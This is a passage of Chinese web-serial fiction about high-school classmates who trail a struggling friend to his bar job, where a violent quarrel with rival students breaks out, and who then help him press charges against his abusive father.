曲回舟张了张嘴，像是想要说些什么，末了还是只小声嘀咕道：“问就问。”
“你倒是挺了解他家情况。”
陆江野意味不明说了句。
“都是同学嘛，还前后桌。”
林柒一边回答，一边笑眯眯又给陆江野夹了个鸡腿。
吃你的吧，少爷！
真是吃都堵不上你的嘴。
............
吃过晚饭后，回到教室，曲回舟还真问了陈向松。
陈向松没想到自己和班主任说的话被听到，还是被当事人听到，脸色不由得涨红。
磕磕巴巴：“我......我是想晚上打份工，正好班里有个三人小组，我想着分出一个和你一组，正好......我不是对你有意见，我就是想晚上打份工挣钱......对不起，你不要多想，我就是，我也可以不用——”
“哎，好了好了，不用说了。”
曲回舟抓抓头发，见陈向松这么诚惶诚恐的样子，怎么搞得好像是他在欺负人的样子？
“这样，我直接给你钱吧。”
曲回舟想了想，直接从口袋里掏出张卡，扔到了陈向松面前。
“你学习成绩好，你和我一组就是给我补习，就当我交补习钱好了，怎么样？这样你也不用出去打工——”
蹭一声，陈向松猛地站了起来，脸色竟比刚才还要涨红。
“不！我不要！”
现在说话倒是比刚才利索：“我会再和老班去说，我和你一组，不用你交钱，我给你补习，我不用......”
曲回舟皱眉啧了一声：“哎，你这人怎么回事啊？我这不是在帮你解决问题吗？”
“我不用。”
陈向松还是这三个字。
然后就越过曲回舟闷头往办公室走去。
“哎，你——”
曲回舟满脸问号回过头，想找陆江野和林柒寻求认同。
林柒拿起曲回舟扔到陈向松桌子上的那张卡，又拍回曲回舟胸口：“拿好，我去看看他。”
说完，也站起身走了。
曲回舟看向陆江野：“......陆哥，我做错什么了吗？？？”
他提出的解决办法难道不好吗？
陈向松需要钱，正好他们一个小组，他愿意给钱，这难道不好？
干嘛这么激动，比被他发现他背地里找老班都激动？！
陆江野正转着笔尖，停下，看向曲回舟：“西岩山要是还有比赛，你还需要我去吗？”
曲回舟顿了下，虽然陆哥说他是第一次骑机车第一次参加比赛，但就这技术这速度，再比一次岂不是能把他们家俱乐部的门面给拉回来？所以还是——“要要要！陆哥！我狠狠需要你！”
“嗯。”
陆江野不置可否应了一声，又再次开口：“你求我？”
“啊？”
“跪下求求我。”
陆江野笔尖点了点地。
然后在曲回舟逐渐涨红的脸色中站起身，一巴掌拍向了曲回舟后脑勺。
“不食嗟来之食，没学过？”
............
林柒站在孔柏青办公室外，等着陈向松出来。
“曲回舟那人应该也没别的意思。”
“我知道。”
陈向松点点头：“我知道他也是好心。”
“但本来学习互助就是互相学习和复习的过程，他还要给我钱......我不能占他这个便宜。”
虽然两个人学习小组基本上是一个人学习好点一个人学习差点，好点的那个要给学习差点的那个补习，但补习的过程中也相当于是自己复习了，算起来自己也是获益，所以并没有一个人完全是付出型的说法。
也因此，陈向松才不能要曲回舟给出的钱。
他就算缺钱，也不能是那样要。
“林哥，我知道我差点走错路，我以后不会了。”
林柒嗯了声：“那既然你又决定参加晚自习，打工的事情——”
“我能自己调节好。”
陈向松握了握双手，保证道：“林哥，我自己能挣钱的，我自己能调节好。”
林柒看了陈向松半晌，点点头，也就没再多说什么。
只是开口道：“有事的话，别逞强。”
............
上晚自习这件事，第
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一次，第一天晚上，多少让人有些新奇。
班长柳柯祺坐在讲台后面一边做题一边看着纪律，底下的人还是很有些蠢蠢欲动，屁股上就跟长了无数根毛刺儿一样，总有种坐不住的感觉，嗡嗡嗡，嗡嗡嗡，没一会儿就能从各个地方冒出点儿唠闲嗑的动静来。
咔擦——
柳柯祺笔尖又在纸上划了一道，终于忍无可忍，拍桌而起！
“你们还想比得过一中吗？！就这个态度？！”
霎时间，教室里安静了许多。
半晌，才有人小声嘀咕道：“当然想比得过啊，可是有一说一，人家城北一中学习好的太多了，总体来说基数太大，比起来是真有些困难啊，而且论坛上那些话虽然是很难听，可人家一开始起跑线确实高，这也是没办法去辩驳的事实嘛。”
“唉，对啊，而且他们师资力量和教育设施等等，也确实好过我们。”
“每次两个学校的联合排名，第一第二都在他们学校......”
说起第一第二，就有人不由得往林柒和陆江野这边看。
无他，因为第一名叫林染，是林柒的哥哥，第二名叫陆云起，是陆江野同父异母的弟弟，听说还是私生子来着。
但能有什么办法，人家就是更优秀一些，而且原先一直跟在陆江野身边的那个林染，现在还被调去了陆云起身边，而再看陆江野这边，还被转学到了他们城南十一中，这么一看，他那位同父异母的弟弟，简直要把这位太子爷给压下去了好不好。
“不要长他人志气灭自己威风。”
柳柯祺皱着眉：“环境不是决定因素，否则照你们这么说，那他们城北一中怎么不把前几名都占了去？”
“你们别忘了论坛上他们是怎么说的，甚至现在还在嘲讽我们。”
“要是付出了晚自习的时间，结果还考不过他们，你们有脸没脸？”
没脸，当然没脸。
他们自己都接受不了！
柳柯祺敲敲桌子：“这样，如果这次期末考试我们的总成绩有进步，那寒假的时候，我就请大家去露营，花费我出。”
“我靠？！真的假的？！班长你没开玩笑吧？？”
“班长你负责我们一个班的露营费用？”
“总成绩有进步，是不是得有什么标准啊？”
柳柯祺：“当然是有标准的。”
“对标城北一中实验一班，期末总成绩最起码要考得过他们，才能对得起我出这个费用吧？”
“啊............”
班里顿时一阵哀嚎声，但好在情绪被调动起来不少。
曲回舟在后面戳了戳林柒和陆江野两人的肩膀，凑过来小声道：“你们两个知道班长为什么这么在意打脸一中吗？”
陆江野挑了挑眉：“为什么？”
“就班长啊，她家里虽然也很有钱，但是暴发户来着。”
曲回舟小声蛐蛐：“我听说班长她爸原本想把班长她送去城北一中学习的，好像高一的确是进去过，但没多久班长就转学出来了，虽然班长没说过是什么原因，但后来大家都传，是那边看不起班长他们家是暴发户，所以班长一怒之下就转学了。”
“所以这次一中那些人在论坛上的发言，简直是在班长雷区上蹦跶，难怪她忍不了呢。”
“哎对了，林柒，你和你哥关系好吗？能不能从他那获得点情报？”
9. 酒吧行
曲回舟说完，林柒就笑看着他不说话。
大有“你觉得呢”的意思。
“呃呃。”
曲回舟好像懂了。
不过这也不能怪他吧。
谁让同学这么久，林柒从来都不提他家里的事儿呢。
他也是最近才和林柒走得近点儿。
但话又说回来，看来先前林柒不提也是有原因的。
啧，还真是家家都有本难念的经啊。
“其实你要是想知道，不如让我们少爷想想办法？”
“啊？陆哥啊？”
“是啊。”
林柒顶着陆江野的目光点点头，还朝陆江野笑了笑：“毕竟要论相处时间的话，少爷你和我哥相处的时间更长一些，不是吗？哦对了，我记得我去接少爷的时候，林染还发消息给我，让我好好照顾您呢。”
曲回舟看了看林柒，又看了看陆江野：“那个......”
“是吗？”
陆江野盯着林柒：“我倒是不知道他还联系过你。”
“他还说了什么？”
“也没什么。”
林柒：“就是和少爷关系太好了，担心我照顾不到位。”
“这不跟在云起少爷身边还不忘记挂着少爷你呢，少爷你还不有空多联系联系我哥？总要保持感情联络才行啊。”
陆江野嗤了一声，和林柒对视。
“那个......”
林柒和陆江野一起转头——
“怎么？”
“有屁放。”
“我放行吗？”
一道声音自两人头顶响起。
曲回舟无辜眨了眨眼，又摊了摊手，表示：我已经试图提醒过你们两个了啊。
柳柯祺站在两人旁边，手里举起一根2B铅笔。
“我请问两位，你们聊完了吗？”
咔嚓——
大拇指一用力，2B铅笔应声而断。
陆江野：“......”
林柒：“......”
聊完了聊完了。
............
晚自习有条不紊地进行中，就是林柒发现陈向松越来越精神不济，感觉白天总是没什么精神的样子，一下课就在补眠，也不知道晚上在上完晚自习后都去干了什么，以至于白天精神越来越不集中。
不仅林柒发现了，曲回舟也发现了。
毕竟曲回舟和陈向松一个小组，而且也在偷偷关注这件事。
“哎，你们说，他不会误入什么不正规场所了吧？”
这天晚自习结束，在陈向松离开后，曲回舟就把林柒和陆江野两个人拉住，说完还嘶了一声：“不是我说，接受我的补习费不比他上完晚自习还要去打工的好？他要是嫌我上次态度不好，我可以换一种态度嘛。”
“这要是成了什么失足青年，哦不，青少年，那不得有我一部分原因？”
曲回舟越想越不行，一把拉住林柒的手：“那什么，林柒啊，要不然你陪我跟踪一下陈向松，看看他究竟去了哪里打工？”
“怎么样，行不行？你就陪我一起——”
话还没说完，就被陆江野一巴掌拍了后脑勺。
“哎呀，陆哥！你怎么又拍我脑袋？！”
陆江野面无表情看了曲回舟一眼：“你再废话，都找不到陈向松人了。”
“哦对对对，那我们赶紧走？”
............
陈向松完全不知道身后跟了三条尾巴。
可能三人搞跟踪有一套，这一路竟然还真没被发现。
毕竟就算曲回舟偷感十足，但陆江野可是大大方方走着，压根没有任何心虚和躲避的意思。
当然也可能是陈向松急着去打工，所以根本没心思去注意身后跟着的三大坨。
林柒则是一路走一路注意周围。
他逐渐发现，陈向松去的方向，这里不是——
“靠！他进酒吧了！”
曲回舟压低声音喊，指着前面：“这是什么酒吧？‘一尺酒吧’？新开的吗？我之前都没听说过。”
“咳咳，当然我也没怎么去过酒吧哈。”
这里是酒吧一条街。
当然这只是通俗来讲的说法。
更确切来说，这里提供各种各样的娱乐场所。
混乱和休闲共融，开放和自由相交，这里是独属于黑夜的国度。
林柒知道陈向松上完晚自习还要去打工，但他不知道陈向松是来了这里打工。
不过想起先前陈向松跟他保证过的，林柒并不觉得陈向松会委曲求全什么，但在这种地方打工，的确还是要多观望一下。
“我们要进去吗？”
“进。”
林柒点点头：“不过让我先去找找看陈向松，不然我们三个一下子都出现在他面前，可能会不太好。”
“也行。”
曲回舟点点头：“那我和陆哥先去要点喝的？”
“咳，不来白不来嘛。”
............
林柒进来时看了眼，这间酒吧应该是间主题酒吧，服务员都穿着制服之类的衣服。
陈向松刚进去，应该是还在后台换衣服。
林柒就直接奔着后台去了。
也是他运气好，一进后台就看见了陈向松。
此时陈向松正在和一个男的说着话，不知道发生了什么，脸上神色很有些焦急。
林柒当下一凛，快步走了过去。
那男的留着半长卷发，穿着黑色丝绸质感的衬衫，头发在脑后扎起，额前一缕垂了下来，五官姣好，有种精致又性感的漂亮感，同时又有着属于男人的英气，并不显女气，反倒有股成熟霸气范儿。
林柒走近，喊了一声陈向松的名字。
听到声音，陈向松还很诧异：“林哥？你怎么会出现在这里？”
“我来找你的。”
林柒看了眼男人，发现对方竟也在看自己，而且还带着某种打量。
他收回视线，又看向陈向松：“发生了什么？”
“哦，这是我们老板，我在和老板请假。”
陈向松是林柒问什么就答什么，也没继续追问林柒为什么会突然来这里找自己，以及又是怎么知道能在这里找到自己的，他现在心思已经不在这里，说起请假的事情又有些着急起来，不等林柒继续往下问，就又开口说起来——
“我下晚自习来这里打工，每次都会给我妈妈发短信，告诉她我到了，可是刚才我发完短信，我妈到现在都没回我。”
“她不会不回我的，所以我想请假回家看看。”
“刚才老板已经答应我——”
“你可以走，让他代你的班。”
“啊？什么？”
陈向松看向突然开口的燕易之：“可是老板，你刚刚不是这么说——”
“哦，我现在改变主意了。”
燕易之耸了耸肩：“他不是你同学吗？正好又来这里找你，那就让他帮你代个班好了，工资我正常帮你结算。”
“不行，工资我可以不要......”
“行。”
“林哥？？”
林柒转过头推了推陈向松肩膀：“别耽误了，娟姨是不是到现在还没回你消息？你赶紧回去看看怎么回事吧
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。”
“我帮你代个班又不是什么问题。”
“行了，别废话，赶紧走。”
确实陈向松很着急回去，所以听林柒这么说，也不好再多推辞什么，只能鞠了一躬道了声谢，然后急匆匆跑走了。
等陈向松离开后，林柒看向说话的男人。
“我们认识吗？”
他好像没见过对方。
燕易之抱着手臂笑了下：“哦，不认识。”
“不过我认识你孟哥，小企鹅。”
林柒：“......”
那还是认识。
单方面。
“行了，跟我过来吧，我带你去更衣间换衣服。”
............
另一边。
曲回舟跟陆江野进了酒吧，没想到这里还要出示身份证，还好他们三个都成年了，不然还进不来。
在林柒去往后台的时候，曲回舟就去前台要了两瓶酒。
好歹进来都进来了，也意思意思，然后就跟陆江野找了个卡座准备坐下。
“阿野？”
这时两人身前骤然响起一道声音。
曲回舟下意识抬头。
就见他们身前不远处站着三五个人，应该都是一起过来的。
其中一个在叫完陆江野后，像是反应过来什么，下意识往最中间那人身上看了眼。
那人笑了笑，像是好脾气：“没想到会在这里碰到大哥。”
卧槽？！
曲回舟在心底疯狂长草，心想不会这么巧吧？
还真就这么巧。
来人可不就是林染和陆云起几个。
和林柒带有棱角的漂亮比起来，林染的长相要更柔和一些，这还是曲回舟第一次见到林染，看上去就是个三好学生的样子，温和有礼貌那种，有修养又有内涵的样子，但一般这种人曲回舟都是敬而远之的，感觉相处起来会让他很放不开。
仔细看的话，和林柒长得不算像。
就连性格看上去也不像。
嗯，他还是觉得和林柒相处起来更舒服。
这种风格的好学生在他面前，他都不敢偷偷放屁。
再看另一边。
这位就是那个陆云起吧？
曲回舟暗自打量，长得也不错，也就比他差点儿吧。
然后比他们陆哥再差一点点，两人看着也不怎么像，最起码给人的感觉就没有任何相似之处。
陆云起看着更斯文温和一些。
至于陆江野，看着就是不好惹，也让人不敢惹的那种类型。
不过从酒吧聚集过来的视线看，大概还是陆江野更受欢迎一些。
也可能不是一些，是很多。
曲回舟这边还在偷偷打量，结果陆江野那边直接就选择了无视。
看也不看一眼，就要转个身继续走。
“哎我说，城南十一中的人都这么没礼貌的吗？都把我们太子爷给带坏了。”
陆江野脚步一顿。
曲回舟也沉下脸抿起了唇。
对面和陆云起都是一个小团体，现在陆云起得势，自然都是站在陆云起这边的，阴阳怪气一般，借机嘲讽。
“好歹打声招呼吧，陆大公子，毕竟在此之前，我们当同学的时间更久吧？”
陆江野还没说话，有道声音却先他一步响了起来——
“当同学这么久都不想和你打声招呼，你不得先反思反思自己？”
一行人顺着声音看过去，正好看见林柒端着酒水出来。
林柒还要开口，再接再厉，结果突然被陆江野打断——
“你这穿的什么衣服？”
10. 你没事吧
城北一中也有论坛。
作为学校的风云人物，常年高居榜首，拿第一拿到手软，林染在学校论坛上的讨论度并不低。
学习好，长相好，又依附陆家，未来的前途不可限量，每天论坛上表白的人数都数不过来。
与之相对的，作为林染的弟弟，林柒却显得有些过于没有存在感了。
说低调都是好听些，一提起来，大概就是——哦，林染的那个弟弟。
至于别的，大概率再说不出来什么。
所以此时见到林柒出现，对于城北一中的人来说，多少都很有些“新鲜感”。
并且这种新鲜感还带着新奇和诧异的感觉。
大概是因为和他们想象中的不一样。
黑色丝绸质感的衬衫，重点是除了肩膀上一圈，整个正面和背面，包括手臂衣袖，一条接着一条，竟是透视感十足的蕾丝竖纹和实质感垂坠的针织纹理相结合，少年的腰线两边正好是黑色透视的蕾丝拼接部分，尽显腰部柔韧曲线。
而再往中间，又正好是和肩膀一个布料的针织纹理拼接，由此挡住了更令人遐思的部位。
就那紧窄的一条，却偏偏挡得恰到好处，可这样一来，反倒更让人忍不住去想里面究竟会是何种风光......
这整件衣服的设计不仅不媚俗风尘，反倒十足十吸睛引人，恰到好处的透视设计，并不是直白的将rou感展示出来，而是通过不落俗套的蕾丝勾线，使得透视都变得若隐若现起来，有种朦胧般的暧//昧感。
也不知道是出自谁的手设计出来，高级完美。
当然最重要的是，这样设计感十足的衣服，现在还穿在了正正适合的人身上。
于是林柒一出现，便吸引了绝大部分注意力。
视线汇聚过来，或多或少都有被惊艳到。
燕易之趴在二楼栏杆上往下看，不由得啧了一声，原本他只是想拿这件衣服逗逗人的，结果这只小企鹅身材竟然出乎意料的还不错，算了，看在把他衣服穿得这么好看的份上，就不过多折腾人了，要不然被某人知道，还要说他小心眼儿。
林染和陆云起也在看着林柒。
在陆江野用如同质问的语气问出那句话后，陆云起倒是笑笑开口道：“这件衣服很适合你。”
陆江野骤然沉下脸。
但不等说什么，就见林柒低头看了看，然后再次抬起头，状若真诚般开口问道：“二少是觉得我适合当服务员吗？”
陆云起眉梢一挑。
“林柒你在胡说什么？”
林染这时候开口道：“还有你刚才是不是有些没礼貌了？”
林柒回望过去：“礼貌都是相互的，你不会连这点道理都不懂吧，林染？”
这会儿总算有人反应过来，刚才林柒回怼的话可是很不客气。
尤其是那位被反驳的，想起来不由得啧了一声——
“怎么主人还没叫，狗先叫了？”
林柒直直看过去：“林染也是狗吗？”
“你们出来玩还都要牵着狗吗？”
“............”
曲回舟：我嘞个大草耶~~~
怎么从来不知道林柒嘴炮这么厉害的啊？！
这回击简直简短有力又迅速！
此时林染的脸色可谓是难看至极。
其实以陆家的权势地位，他们依附陆家，在外人面前怎么也能有三分面子，但刚才那句话，虽说是冲着林柒去的，可也的确间接把林染也给骂了进去，更何况林柒反驳那话更是难听，林染很难控制住神色。
他目光定在林柒身上，稳了稳心神。
“林柒，都是一家人，你要是心里有怨，可以冲我来，没必要说这些难听的话来曲解别人的意思。”
林染看了眼陆江野，意有所指般继续开口道：“你第一次跟在阿野身边，不知道这其中究竟发生了什么误会，就不要随意开口添乱，你这样乱说话，反倒更容易给别人惹麻烦，能不能别让事情闹得更复杂——”
“哎哎，等等。”
曲回舟实在忍不住开口叫停：“我说，林染是吧？你是林柒哥哥吧？刚才有人骂你弟弟，那么明显的指桑骂槐，你真听不出来是怎么的？哦不对，你听出来了，但你听出来了，怎么反倒指责起我们林柒来了？”
“你也说了都是一家人，你就算不向着一家人，也不用这么颠倒是非，惺惺作态吧？你装尼玛装呢？！”
老子踏马真是看不惯这种恶心巴拉的人！
曲回舟真是越听越气，怎么林柒他哥是这样的啊？！
难怪林柒从来都不提他哥怎么怎么样！
林染这下不仅是脸色难看了，整个人脸色涨通红！
还从来没有人这么说过他，尤其是最后那几句骂他的话，简直就跟扇在他面皮上一样。
“你才装尼玛装呢！”
林染还没开口，刚才说话的那个又开了口。
大概是刚才连带着把林染也骂了进去，所以此刻忍不住急着站出来——
“又一条狂吠的狗，你家主子有开口？”
“你踏马倒是叫得欢——”
“我懒得开口。”
这时一道声音响起，仿佛近在耳边。
那人只觉得眼前一花：“什么......”
砰！！！
下一秒，整个人头朝下，砸向了前面的一个茶几。
只听哗啦一声，茶几整个碎裂，那人也骤然头破血流。
而这还没完。
陆江野抓着那人头发，在猛砸了茶几之后，又将软倒的人提起，竟再一次狠狠砸向了已经破碎的茶几......
“啊！！！”
原本已经有些神志不清的人，此时竟是被硬生生疼醒！
鲜血飞溅，就连陆江野脸上都溅上了几滴血。
那满脸暴戾之气，看得人更是心惊胆颤。
仿佛有血腥气透着那股戾气迸发出来，让人看着都不由得毛骨悚然，不寒而栗......甚至连作出反应的时间都没有。
直到那人的呻//吟声都逐渐减弱——
“陆江野？！”
林柒总算是回过神，根本顾不得手上的东西，连忙上前抱住了陆江野。
“停下来！陆江野，停下来！”
“你再继续动手下去他就要死了！！”
一边说着，林柒一边忍不住瞪向对面：“还看着干什么？！还不把人送去医院！！！”
说话间，林柒又忍不住看向陆江野。
他几乎要被陆江野此时的神态吓到。
满眼的血色，戾气丛生......仿佛要叫嚣着破坏眼前的一切，像是......像是个疯子。
“陆......陆江野......”
事情发生得太
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突然，才短短几秒钟的时间，情势一下子谁都始料未及。
林柒也是猝不及防，甚至同样心惊胆颤，但不是因为陆江野展现出来的狠戾，而是陆江野此时的状态。
那是很明显的，非常不对劲的状态......
然而在林柒喊了几声陆江野之后，就见陆江野狠狠闭了下眼睛。
再睁开时，尤带着血色的眼睛看向了林柒。
这时燕易之也下来了。
沉着脸没开口，但脸色能看出来在骂骂咧咧。
“你们倒真是会给我惹麻烦啊。”
好歹是把骂人的话都给憋在了肚子里，但开口语气依旧很冲：“先把人送去医院再说，一群脑子有包的在我这里上演什么心机表演，尼玛是个男的那么多弯弯绕绕，嘴贱的要死，非要上赶着招骂讨打是不是？！”
燕易之手指点了点陆云起和林染那边：“陆二公子，先撩者贱，损失费我会找你这边赔偿的，这没什么问题吧？”
陆云起脸色难看，林染更是脸色难堪。
也不知道刚才那些话究竟是在指桑骂槐谁。
但人家没指名道姓，他总不可能上赶着去认领名号。
而更让林染心惊和难以转移心神的，是此时被林柒扶着的陆江野——
他是见过陆江野疯狂一面的，那种情况下，根本就不可能有人能单独钳制住陆江野。
但就在刚才......陆江野竟是停了下来？？
而且还的的确确是被一个人给劝停的？！
这怎么可能......
至少上一次，是足足十几个人一起上，才把陆江野给压制住......怎么现在却？！
林染心下揪得慌，但那边陆云起要带人离开，他也只能跟上去。
临走前，再回头看了眼——
就见陆江野还在低头看着林柒。
“你没事吧？”
林柒抬头和陆江野对视，仔细看他眼底的神色。
然而陆江野却转过头，没让他再看。
“我没事。”
半晌陆江野才哑声开了口。
“真没事？”
林柒歪歪脑袋，还想探着头去看陆江野的神色。
结果被陆江野瞪了眼。
“你想我有什么事？”
“............”
OK，当他白关心了。
林柒暗戳戳翻了个白眼，看来是什么事都没有了。
还有力气反问他。
燕易之也在另一边翻了个白眼，刚想朝林柒尤其是陆江野转移枪口，结果就听一道铃声响起，而且像是催人命一般骤然炸响。
是林柒的手机在响。
他拿出来一看，发现打电话过来的是陈向松。
不知道为什么，林柒想起之前陈向松的离开，此时此刻，总有种不好的预感。
他快速接了起来。
电话一通，对面就响起了陈向松的声音。
此时因为刚才发生的事，酒吧里早就被燕易之叫人清了场，所以眼下安静得很。
于是这个时候，就连周围人也能很清楚听见电话里传来的，有关于陈向松几近崩溃的话语。
曲回舟几乎瞬间就倒抽了口气，在听清陈向松说了什么后，仍是忍不住破口而出——
“你说什么？！”
“你说你杀了人？！”
11.上心
陈向松说他杀了人，林柒几个到的时候，陈庆正躺在血泊之中，陈向松抱着他妈杨娟。
杨娟身上都是伤，是被打出来的痕迹。
家里也很不成样子，到处都是乱翻和摔打的痕迹，像是进了土匪一样。
谁能想到陈庆是陈向松的亲生父亲。
而就是这么一个亲生父亲，几乎能将母子两个逼死。
“他还没死。”
陆江野检查了下，发现躺在地上的男人还有气。
“但是要尽快送医院。”
话落，就见原本还抱着母亲的陈向松，骤然间一颤，随即脸色几经变换，像是下定了某种决心一般，下一秒，出乎所有人意料的，又猛然间拿起了一旁沾染着血迹的扳手，高高举起，想要朝着陈庆再次砸下去——
“你疯了？！”
林柒眼疾手快，猛地扑上去制止。
“你知道你再砸一下会是什么后果吗？！”
“林哥......林哥你放开我！”
陈向松哭着挣扎：“你不知道......你不知道我回来的时候，他把我妈打得几乎失去了意识，就这样还一直在掐着她脖子，就因为......就因为我妈不想再给他钱了，明明都离婚了，凭什么他还要回来几次三番找我们要钱，凭什么呜......”
哐当一声，扳手掉在了地上。
“还不如杀了他......他如果就这样死了，也算一了百了......”
“那你这辈子也就完了。”
林柒在安抚陈向松的情绪，一边查看了下杨娟的情况，另一边陆江野也在观测陈庆的情况，曲回舟则是打电话叫了救护车。
原本燕易之也要跟着过来的。
毕竟当时电话里说的太严重，加上曲回舟喊的那一嗓子，能把人心给吊起来。
但燕易之酒吧的事情还没处理完，于是只能先留在酒吧处理事情。
临走前，他特意问了几人能不能处理好。
林柒最先开了口，说可以。
曲回舟打电话叫救护车也是林柒提醒的。
在陆江野检查完陈庆的情况之后。
陆江野站在原地，垂眸盯了陈庆一会儿，随即抬起视线，看向了林柒。
像是察觉到陆江野的视线，林柒也抬头看了过来。
两人对视，林柒又率先挪开了目光。
他现在没精力在陆江野面前装什么，只能先避开。
不管陆江野是不是发现了什么，现在也没什么可说的。
............
陈庆和杨娟一起被送去了医院。
陈向松家里出事，必然要通知班主任，所以在他们到了医院之后，孔柏青也赶了过来，以及这件事情涉及到家暴等等，来的路上，在陈向松情绪稳定下来后，林柒等人征求了陈向松的意见，他们还报了警。
这件事闹成这样，也不可能再像之前那样，觉得忍忍就过去了。
陈向松也不想再忍耐，奢求有一天对方能不再找他们，这显然是不可能的。
他认清了现实。
不再抱有奢望和侥幸心理。
“该承担的后果我愿意承担，但他也必须为家暴我母亲付出代价。”
杨娟甚至伤得比陈庆还重。
不仅是脖颈上的掐伤，还有身上多处软组织挫伤，很多地方都有被重击和踢打的痕迹。
就连陈向松身上也有伤痕。
显然他才回到家里，为了救母亲，也不免挨过打，是实在忍受不了，才拿起扳手敲击了陈庆的头部。
曲回舟看向陈向松身上的伤，低低骂了一句。
“你要承担什么后果啊，有什么好承担的，是他家暴你和你妈妈！”
知道陈向松家里情况不好，但不知道竟会是这样的情况。
这天底下怎么会有这样的父亲？！
“怎么不会有。”
林柒低声说了句。
这时孔柏青也跟医生在了解完情况后走了过来，知道几人也报了警，不由得轻叹了口气：“这件事不太好办，这位陈先生怎么说也是陈向松同学的父亲，虽然是他先出手伤人的，但现在这位陈先生也受了伤，所以——”
“故意伤人和正当防卫还是有区别的。”
陆江野这时开口道：“一会儿有律师会过来帮陈向松接手这件事。”
说完，陆江野又看向陈向松。
“你想要什么样的结果？”
陈向松啊了一声，有些没反应过来。
“起诉故意伤害罪以及敲诈勒索罪等，让你父亲赔钱，这辈子都不能再接近你们，甚至是坐牢。”
陆江野低笑一声，像是觉得什么有意思一般。
“只要你敢，这些都能帮你做到。”
起诉亲生父亲，送亲生父亲去坐牢等等。
这些话在陆江野嘴里，说得再寻常不过。
甚至林柒仿佛听出几分潜在的疯狂意味。
——就好像陈向松如果想要做更多，想要陈庆付出更大的代价，也许陆江野也能帮其达成。
林柒沉默了一下，到底没开口说话。
在陆江野说完后，出乎意料的，陈向松沉默了半晌，开口选择起诉陈庆。
“如果可以的话，我不止想要他不再接近我和我妈，我还想要他坐牢。”
............
不提陈庆，陈向松的母亲也要住院，所以陈向松请了假，要留在医院照顾母亲。
警方那边有陆江野找来的律师出面周旋和处理情况，算是解决了最重要的一个难题。
接下来就是等起诉和处理结果。
林柒说会帮忙出庭作证。
包括陈庆离婚后还敲诈勒索陈向松母子两的事实，他甚至撞见过几次。
在说出这话的时候，林柒能感觉到陆江野又看了自己一眼。
只不过最终也没说什么。
但两人之间的氛围变得有些奇怪起来。
连曲回舟都能明显感觉到。
这会儿陆江野不在，林柒被曲回舟戳了一下。
“你们两个......什么情况啊？”
林柒：“什么什么情况？”
“啧，还和我装傻是不是？”
曲回舟小声道：“感觉你们两个跟闹别扭了一样，你没发现你们两个不到必须要说话的地步，都不怎么说话了吗？”
林柒有些无奈：“他是少爷，我只是陆家点名指派跟在他身边的，没什么事我说什么话？”
“说到底，我只是陆少爷未来可能会组建的班底中的一部分。”
林柒耸了耸肩：“而且还是可有可无的那一类。”
毕竟不过是个小管家，有的是人能比他做得更好。
当然前提是，陆江野能成功接任陆家，当上陆家的家主。<
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陆江野脚步停在教室门后，半晌又转过身离开了。
他上了阳台，吹会儿风的功夫，来了一通电话。
来电人显示是谭奕涵，他的舅舅。
陆江野轻笑了一声，接起来。
“问我请律师的事情吗？”
谭奕涵哑然，有些无奈：“我以为你在城南出了什么事情。”
“还好。”
“那请律师？”
“顺手帮个忙罢了。”
谭奕涵声音有些诧异：“阿野，你什么时候这么好心了，还会顺手帮个忙？”
“嗯。”
大概是脑子犯抽了。
那句“怎么不会有”，他听到了。
陆江野抽出烟点上一根：“这个世界上不会好好当父亲的人太多了。”
谭奕涵在电话那边有些沉默。
过了半晌才沉声开口道：“但是阿野，你在城南还是要低调行事一些，你知道，我给你打电话，不是问请律师这件事，这件事还好说，但你先前在酒吧惹出的那件事可就不好说了，再这样下去，你还想回陆家吗？”
“想，怎么会不想回呢。”
陆江野轻笑，看着烟气随风飘走：“没关系，先前那件事还在查，现在还不到时候回去。”
“放心吧舅舅，我知道权利要握在自己手里才会让人安心。”
谭奕涵嗯了一声，挂断电话前，像是才想起什么事情来，又开口问道：“对了，林家那个小孙子，是叫林柒对吧，他现在跟在你身边？他人怎么样？你去城南，陆家又给你重新安排个人跟随，他有没有背地里联系过陆家？”
陆江野沉默半晌，才开口道：“不清楚。”
他甚至不太清楚林柒这个人。
“那你要多注意点。”
谭奕涵声音如同透着嘲讽：“陆家在考察你的同时，也在考察陆云起，当初阿篱的死，让你......总之阿野，你想要陆家，就不要让自己再露出太多破绽，他们那些人，大概巴不得再试探和刺激你，想要再从你身边挖出点东西，所以你千万要小心......”
陆江野挂断电话，沉默半晌，才突然开口道——
“还不出来？”
林柒的身影从门后出来。
“不是故意偷听的，事实上我也没听到，少爷。”
林柒举手保证：“真的没有。”
的确没有。
他上来的时候看到陆江野在打电话，就马上退了出去。
之后就全程在走神，根本没去听陆江野在讲什么。
也没有兴趣去听。
就是不知道陆江野信不信了。
林柒看了看，就不由得在心底无奈一笑。
——显然陆江野不太相信他。
在他说完后，目光一直定在他身上，仿佛在审视什么一样。
林柒坦然对视。
心想也无所谓你信不信。
不过陆江野很快就偏开了视线，只是开口问道：“找我什么事？”
“医院打来电话。”
林柒皱了下眉：“说陈庆在闹，而且拒不接受起诉。”
“所以我想上来和少爷说声，请个假，想去趟医院看看情况。”
陆江野手里的烟还在燃烧，他吸了口，缓缓吐出烟圈，深邃暗沉的眉眼如同密不透风的网一般圈住了林柒。
“你倒是对陈向松挺上心？”
12.误会
林柒到医院的时候，陈庆还在闹。
怒骂陈向松，说陈向松是个兔崽子不孝子，叫嚣着就算被起诉，他也没有错，老子打婆娘和儿子是天经地义，警察和法官都管不着，甚至还叫嚣说让陈向松去坐牢，以及他现在受了伤，陈向松和杨娟有义务赡养补偿他一辈子等等。
陈向松不想给医院添麻烦，病房又不是陈庆一个人在住，所以无可奈何之下，不得不去阻止陈庆的发疯以及无赖行为。
“艹，小兔崽子还管起你老子来了？！你踏马胆肥儿了是不是，现在究竟是谁在给你撑腰啊，还是你妈朝哪个男的张开了腿，终于有男的愿意给你们娘两个做主了？！不然你哪来的胆子竟然敢敲老子的头？！”
陈向松的脸色骤然涨得通红：“你在胡说八道什么？！”
“我妈没有，我妈才不是你这样的人！”
“你不要血口喷人！”
陈向松紧紧攥着拳头：“陈庆，你会为你的所作所为付出代价的！我一定会让你付出代价！”
陈庆脸上狠狠一抽：“玛德，我看你是要反了天了！！！”
说话间，就要和陈向松动手——
但还未起身，就被一股大力按回了病床上。
“陈先生，这里是医院，在这里闹，您不会也想被医院起诉吧？”
“是你？！”
陈庆认得林柒。
先前有几次就是这逼玩意儿非要好管闲事！
陈庆眼底射出凶光，眼角有一抹狠戾。
但到底怕被医院起诉，不敢过多在这里逞威风。
“你算哪门子的东西？！敢来管老子的事情？！”
